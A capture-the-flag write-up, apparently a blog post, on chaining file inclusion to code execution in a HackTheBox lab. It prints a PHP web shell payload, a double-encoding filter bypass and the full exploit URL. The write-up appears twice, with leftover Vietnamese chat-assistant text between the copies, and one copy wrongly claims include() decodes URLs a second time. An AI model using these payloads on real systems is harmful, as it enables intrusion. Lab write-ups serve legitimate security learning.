Chaining LFI to RCE – HackTheBox
Problem
This lab is from HackTheBox. The objective is to achieve Remote Code Execution (RCE) and retrieve the flag located in the root directory.
The web application is quite simple. It contains three main tabs: Home, Contact, and most importantly, /apply, which allows users to upload an image file.
Recon
After spending some time enumerating the website, I discovered a suspicious endpoint:
/contact.php
I attempted to test for Local File Inclusion (LFI) vulnerabilities by fuzzing parameters with ffuf. Eventually, I found a parameter confirming that the website was vulnerable to LFI.
At that point, I thought the challenge was basically solved.
However, it was not that simple.
I tried using automated exploitation tools like lfisuite, continued fuzzing with ffuf, and manually tested multiple payloads and bypass techniques in an attempt to evade the WAF. Unfortunately, none of them worked.
The filtering mechanism was extremely strict:
Any occurrence of
.or/(typical file inclusion characters) was blocked.Sensitive keywords such as
/etc/passwdandconfigwere filtered.
I spent around 5–6 hours testing different payload variations but was completely stuck at this stage.
Breakthrough
While taking a break, I asked myself:
Why am I focusing only on that single endpoint?
I went back to the lab and started reviewing the source code more carefully. I tested other endpoints and APIs and eventually discovered a crucial API that completely changed my approach.
I tested LFI on this new parameter — and boom, it worked.
After successfully performing path traversal, I began leaking sensitive files to find something that could lead to RCE. During fuzzing, I discovered an interesting file:
/var/log/nginx/access.log
This indicated that Log Poisoning might be possible.
The idea was simple:
Send a request to the web server.
Modify the
User-Agentheader to inject PHP code:
<?php system($_GET["cmd"]); ?>
However, it did not execute. The payload was written into the log file but never interpreted as PHP code. It seemed the developers used a safe function like file_get_contents() instead of include().
So log poisoning was not viable.
Reviewing the Source Code
/api/image.php
<?php
if (isset($_GET["p"])) {
$path = "../images/" . str_replace("../", "", $_GET["p"]);
$contents = file_get_contents($path);
header("Content-Type: image/jpeg");
echo $contents;
}
?>
This confirmed the LFI vulnerability again. The filtering was weak and not properly implemented.
/api/application.php
<?php
$firstName = $_POST["firstName"];
$lastName = $_POST["lastName"];
$email = $_POST["email"];
$notes = (isset($_POST["notes"])) ? $_POST["notes"] : null;
$tmp_name = $_FILES["file"]["tmp_name"];
$file_name = $_FILES["file"]["name"];
$ext = end((explode(".", $file_name)));
$target_file = "../uploads/" . md5_file($tmp_name) . "." . $ext;
move_uploaded_file($tmp_name, $target_file);
header("Location: /thanks.php?n=" . urlencode($firstName));
?>
This revealed something important:
Uploaded files are stored in
/uploads/The filename is hashed using
md5_file()The original extension is preserved
At this point, the plan became clearer:
Upload a PHP shell.
Use LFI to trigger it.
However, there was still one missing piece:
We needed a parameter that used include() instead of file_get_contents() in order to gain execution.
And I found it.
Vulnerable region Parameter
<p>
<?php
$region = "AT";
$danger = false;
if (isset($_GET["region"])) {
if (str_contains($_GET["region"], ".") || str_contains($_GET["region"], "/")) {
echo "'region' parameter contains invalid character(s)";
$danger = true;
} else {
$region = urldecode($_GET["region"]);
}
}
if (!$danger) {
include "./regions/" . $region . ".php";
}
?>
Now everything made sense.
The first parameter I had spent hours on earlier finally became useful.
Understanding the Logic
If the parameter contains
.or/, it gets blocked.Otherwise, it is URL-decoded.
Then it gets passed into
include().
So I thought:
What if we double-encode the payload?
If we encode ../ twice:
../ → %2e%2e%2f
Double encode → %252e%252e%252f
The WAF does not detect . or /.
The server:
Decodes once via
urldecode()Then
include()performs another decoding step
This results in successful path traversal.
Final Exploit
Upload
payload.phpCalculate its MD5:
md5sum payload.php
eca599d7d063b4d277b7b14e5efe4a6e payload.php
- Trigger execution:
http://94.237.63.176:42783/contact.php?region=%252e%252e%252fuploads%252feca599d7d063b4d277b7b14e5efe4a6e&cmd=id
And RCE was achieved.
Attack Chain Summary
Exploit LFI to read sensitive source code
Bypass WAF using double URL encoding
Upload malicious file
Use
include()to achieve RCE
Lessons Learned
Think in terms of bug chaining, not isolated vulnerabilities.
Always explore alternative attack vectors.
Think outside the box.
Nếu bạn muốn mình chỉnh lại theo phong cách blog chuyên nghiệp hơn (ví dụ để đăng LinkedIn hoặc portfolio cybersecurity khi bạn đang theo lộ trình An ninh mạng), mình có thể rewrite lại theo tone “professional offensive security writeup” luôn.
viet bang ngon ngu markdown
Dưới đây là phiên bản được viết lại hoàn toàn bằng Markdown chuẩn (có heading, code block, bullet list rõ ràng, sẵn sàng để đăng blog hoặc GitHub):
Chaining LFI to RCE – HackTheBox
🧩 Problem
This lab is from HackTheBox. The objective is to achieve Remote Code Execution (RCE) and retrieve the flag located in the root directory.
The web application is simple, containing three main tabs:
Home
Contact
/apply(allows file upload)
The upload functionality immediately caught my attention.
🔎 Recon
During reconnaissance, I discovered a suspicious endpoint:
/contact.php
I fuzzed parameters using ffuf and successfully identified an LFI (Local File Inclusion) vulnerability.
At this point, I thought the challenge was almost solved.
However, things became complicated.
🚧 WAF Restrictions
The application implemented strong filtering:
Any
.or/character was blockedSensitive paths like
/etc/passwdwere filteredKeywords such as
configwere denied
I attempted:
Automated tools (
lfisuite)Further fuzzing with
ffufManual payload crafting
Encoding variations
Nothing worked.
After spending 5–6 hours, I was completely stuck.
💡 Breakthrough
After taking a break, I reconsidered my approach:
Why am I focusing only on one endpoint?
I began reviewing other APIs and discovered a new interesting endpoint.
After testing it — boom — LFI worked again.
📂 Path Traversal Success
I managed to read sensitive files and eventually discovered:
/var/log/nginx/access.log
This suggested the possibility of Log Poisoning.
🧪 Attempt: Log Poisoning
I injected PHP code into the User-Agent header:
<?php system($_GET["cmd"]); ?>
However, it did not execute.
The log file stored my payload, but the application used file_get_contents() instead of include(), so the code was never interpreted.
Log poisoning failed.
🔍 Source Code Analysis
/api/image.php
<?php
if (isset($_GET["p"])) {
$path = "../images/" . str_replace("../", "", $_GET["p"]);
$contents = file_get_contents($path);
header("Content-Type: image/jpeg");
echo $contents;
}
?>
This confirmed the LFI vulnerability due to improper sanitization.
/api/application.php
<?php
$firstName = $_POST["firstName"];
$lastName = $_POST["lastName"];
$email = $_POST["email"];
$notes = (isset($_POST["notes"])) ? $_POST["notes"] : null;
$tmp_name = $_FILES["file"]["tmp_name"];
$file_name = $_FILES["file"]["name"];
$ext = end((explode(".", $file_name)));
$target_file = "../uploads/" . md5_file($tmp_name) . "." . $ext;
move_uploaded_file($tmp_name, $target_file);
header("Location: /thanks.php?n=" . urlencode($firstName));
?>
Important observations:
Uploaded files are stored in
/uploads/The filename is hashed using
md5_file()The original extension is preserved
At this stage, the plan was:
Upload a PHP web shell
Trigger it using LFI
But we still needed a parameter using include() instead of file_get_contents().
🎯 Final Piece – region Parameter
<?php
$region = "AT";
$danger = false;
if (isset($_GET["region"])) {
if (str_contains($_GET["region"], ".") || str_contains($_GET["region"], "/")) {
echo "'region' parameter contains invalid character(s)";
$danger = true;
} else {
$region = urldecode($_GET["region"]);
}
}
if (!$danger) {
include "./regions/" . $region . ".php";
}
?>
🔎 Analysis
If
.or/appears → blockedOtherwise →
urldecode()is appliedThen passed into
include()
So I thought:
What if we double-encode the payload?
🧠 Double Encoding Bypass
Normal traversal:
../
URL encoded:
%2e%2e%2f
Double encoded:
%252e%252e%252f
Since %252e does not contain . or /, the WAF does not block it.
Flow:
Server decodes once using
urldecode()include()processes the decoded pathPath traversal succeeds
🚀 Final Exploit
1️⃣ Upload payload.php
Example payload:
<?php system($_GET["cmd"]); ?>
2️⃣ Calculate MD5
md5sum payload.php
Output:
eca599d7d063b4d277b7b14e5efe4a6e
3️⃣ Trigger Execution
http://94.237.63.176:42783/contact.php?region=%252e%252e%252fuploads%252feca599d7d063b4d277b7b14e5efe4a6e&cmd=id
🎉 RCE achieved.
🔗 Attack Chain Summary
Exploit LFI to read source code
Identify upload functionality
Bypass WAF using double encoding
Upload malicious PHP file
Trigger execution via
include()
📚 Lessons Learned
Think in terms of bug chaining, not isolated vulnerabilities
Always enumerate all endpoints
Review source code carefully
When stuck, take a break and rethink
Stay Updated
Get the latest posts, security insights, and tech updates delivered straight to your inbox. No spam, unsubscribe anytime.
Comments
💬 No account required — Just drop your thoughts below!